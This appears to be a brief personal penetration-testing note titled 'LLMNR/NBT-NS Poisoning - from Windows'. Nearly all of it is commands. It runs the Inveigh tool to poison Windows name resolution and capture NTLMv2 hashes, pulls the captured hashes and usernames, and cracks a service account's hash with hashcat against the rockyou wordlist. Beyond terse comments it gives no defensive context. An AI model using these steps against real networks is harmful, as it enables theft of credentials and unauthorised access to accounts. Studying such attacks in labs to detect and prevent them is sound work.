LLMNR/NBT-NS Poisoning - from Windows

June 28, 2024

remmina
ls

Import-Module .\Inveigh.ps1
.\Inveigh.exe

Press esc then

HELP

# This will spit out NTLMv2 hash which we can crack with hashcat
GET NTLMV2UNIQUE
# This will display the usernames
GET NTLMV2USERNAMES
subl svc_qualys
hashcat -m 5600 svc_qualys /usr/share/wordlists/rockyou.txt

Last updated